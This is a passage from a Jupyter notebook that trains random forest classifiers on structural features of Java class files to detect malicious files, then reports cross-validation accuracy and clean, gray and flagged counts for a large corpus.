4iBuZmbV1oWB\n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\n", + "text": [ + "" + ] + } + ], + "prompt_number": 182 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "# Now we can use scikit learn's cross validation to assess predictive performance.\n", + "scores = sklearn.cross_validation.cross_val_score(clf_all, X_all, y_all, cv=20)\n", + "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Accuracy: 0.992 (+/- 0.029)\n" + ] + } + ], + "prompt_number": 183 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "# Now we can use scikit learn's cross validation to assess predictive performance.\n", + "scores = sklearn.cross_validation.cross_val_score(clf_er, X_er, y_er, cv=20)\n", + "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Accuracy: 0.995 (+/- 0.017)\n" + ] + } + ], + "prompt_number": 184 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Testing on a large corpus of files\n", + "\n", + "#### In the next couple steps, we train a classifier on all the data, and then test it on approximately 366K files. This data is not labeled, but I would expect them all to be benign. Maybe a few malicious ones, but a small number." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "clf_everything = sklearn.ensemble.RandomForestClassifier(n_estimators=50)\n", + "all_features = ['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface',\n", + " 'acc_public', 'acc_super', 'acc_synthetic', 'ap_count', 'constant_pool_count',\n", + " 'entropy', 'size', 'interface_count', 'major version', 'methods_count', 'minor version',\n", + " 'method_name_digit_run_avg', 'method_name_digit_run_longest',\n", + " 'method_name_lowercase_run_avg', 'method_name_lowercase_run_longest',\n", + " 'method_name_uppercase_run_avg', 'method_name_uppercase_run_longest',\n", + " 'class_name_digit_run_avg', 'class_name_digit_run_longest',\n", + " 'class_name_length', 'class_name_lowercase_run_avg',\n", + " 'class_name_lowercase_run_longest', 'class_name_slash_count',\n", + " 'class_name_uppercase_run_avg', 'class_name_uppercase_run_longest'] \n", + "\n", + "X_all = df.as_matrix(all_features)\n", + "y_all = np.array(df['label'].tolist())\n", + "\n", + "clf_everything.fit(X_all, y_all)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 185, + "text": [ + "RandomForestClassifier(bootstrap=True, compute_importances=None,\n", + " criterion='gini', max_depth=None, max_features='auto',\n", + " min_density=None, min_samples_leaf=1, min_samples_split=2,\n", + " n_estimators=50, n_jobs=1, oob_score=False, random_state=None,\n", + " verbose=0)" + ] + } + ], + "prompt_number": 185 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "java_big_pile_df = pd.read_hdf('data/java_clean_df.hd5', 'table')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stderr", + "text": [ + "/opt/visiblerisk/lib/python2.7/site-packages/pandas/io/pytables.py:520: DeprecationWarning: openFile() is pending deprecation, use open_file() instead. You may use the pt2to3 tool to update your source code.\n", + " self._handle = tables.openFile(self._path, self._mode, **kwargs)\n", + "/opt/visiblerisk/lib/python2.7/site-packages/pandas/io/pytables.py:1017: DeprecationWarning: getNode() is pending deprecation, use get_node() instead. You may use the pt2to3 tool to update your source code.\n", + " return self._handle.getNode(self.root, key)\n" + ] + } + ], + "prompt_number": 190 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Again, one of the features of the classifier is the ability to give a probability that the feature set belongs to a specific class. In the code below, we are asking the classifier to give us the probability the feature set (file) belongs to the malicious class. We interpret these results as anything less the 0.5 is benign, 0.5 - 0.8 is a gray area, and 0.8 and above is malicious." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "clean = 0\n", + "gray = 0\n", + "bad = 0\n", + "for x in java_big_pile_df.as_matrix(all_features):\n", + " try:\n", + " score = clf_everything.predict_proba(x)[:,1][0]\n", + " if score < 0.5:\n", + " clean += 1\n", + " elif score < 0.8:\n", + " gray += 1\n", + " else:\n", + " bad += 1\n", + " except:\n", + " print \"Sad\"\n", + " print x\n", + " break\n", + "\n", + "print java_big_pile_df.shape\n", + "print clean\n", + "print gray\n", + "print bad" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface', 'acc_public', 'acc_super', 'acc_synthetic', 'ap_count', 'constant_pool_count', 'entropy', 'size', 'interface_count', 'major version', 'methods_count', 'minor version', 'method_name_digit_run_avg', 'method_name_digit_run_longest', 'method_name_lowercase_run_avg', 'method_name_lowercase_run_longest', 'method_name_uppercase_run_avg', 'method_name_uppercase_run_longest', 'class_name_digit_run_avg', 'class_name_digit_run_longest', 'class_name_length', 'class_name_lowercase_run_avg', 'class_name_lowercase_run_longest', 'class_name_slash_count', 'class_name_uppercase_run_avg', 'class_name_uppercase_run_longest']\n", + "(366341, 35)" + ] + }, + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "\n", + "339771\n", + "10971\n", + "15599\n" + ] + } + ], + "prompt_number": 191 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Wow. That looks mostly horrible. We did only start with 500 files of each, maybe more training data will help. We expand to about 2,000 malicious files and 2,000 benign files. We randomly select 2000 files from the large corpus as label them as benign." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "java_more_bad_df = pd.read_hdf('data/java_malicious_df.hd5', 'table')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stderr", + "text": [ + "/opt/visiblerisk/lib/python2.7/site-packages/pandas/io/pytables.py:520: DeprecationWarning: openFile() is pending deprecation, use open_file() instead. You may use the pt2to3 tool to update your source code.\n", + " self._handle = tables.openFile(self._path, self._mode, **kwargs)\n", + "/opt/visiblerisk/lib/python2.7/site-packages/pandas/io/pytables.py:1017: DeprecationWarning: getNode() is pending deprecation, use get_node() instead. You may use the pt2to3 tool to update your source code.\n", + " return self._handle.getNode(self.root, key)\n" + ] + } + ], + "prompt_number": 219 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "java_big_pile_df.head()" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "html": [ + "
\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
acc_abstractacc_annotationacc_enumacc_finalacc_interfaceacc_publicacc_superacc_syntheticap_countattributes countclass nameclass_name_digit_run_avgclass_name_digit_run_longestclass_name_lengthclass_name_lowercase_run_avgclass_name_lowercase_run_longestclass_name_slash_countclass_name_uppercase_run_avgclass_name_uppercase_run_longestconstant_pool_count
0 0 0 0 0 0 1 1 0 2 1 com/jidesoft/combobox/DateChooserPanel 0 0 38 5.333333 8 3 1 1 1037...
1 1 0 0 0 1 1 0 0 3 0 org/jmol/modelset/BondIterator 0 0 30 5.000000 8 3 1 1 11...
2 0 0 0 0 0 1 1 0 2 2 org/hibernate/engine/query/ParameterParser 0 0 42 6.000000 9 4 1 1 152...
3 0 0 0 0 0 1 1 0 2 1 com/intellij/updater/Utils 0 0 26 5.500000 8 3 1 1 330...
4 0 0 0 0 0 1 1 0 2 1 com/kiwisoft/db/driver/SybaseDriver 0 0 35 4.833333 8 4 1 1 151...
\n", + "

5 rows \u00d7 35 columns

\n", + "
" + ], + "metadata": {}, + "output_type": "pyout", + "prompt_number": 220, + "text": [ + " acc_abstract acc_annotation acc_enum acc_final acc_interface \\\n", + "0 0 0 0 0 0 \n", + "1 1 0 0 0 1 \n", + "2 0 0 0 0 0 \n", + "3 0 0 0 0 0 \n", + "4 0 0 0 0 0 \n", + "\n", + " acc_public acc_super acc_synthetic ap_count attributes count \\\n", + "0 1 1 0 2 1 \n", + "1 1 0 0 3 0 \n", + "2 1 1 0 2 2 \n", + "3 1 1 0 2 1 \n", + "4 1 1 0 2 1 \n", + "\n", + " class name class_name_digit_run_avg \\\n", + "0 com/jidesoft/combobox/DateChooserPanel 0 \n", + "1 org/jmol/modelset/BondIterator 0 \n", + "2 org/hibernate/engine/query/ParameterParser 0 \n", + "3 com/intellij/updater/Utils 0 \n", + "4 com/kiwisoft/db/driver/SybaseDriver 0 \n", + "\n", + " class_name_digit_run_longest class_name_length \\\n", + "0 0 38 \n", + "1 0 30 \n", + "2 0 42 \n", + "3 0 26 \n", + "4 0 35 \n", + "\n", + " class_name_lowercase_run_avg class_name_lowercase_run_longest \\\n", + "0 5.333333 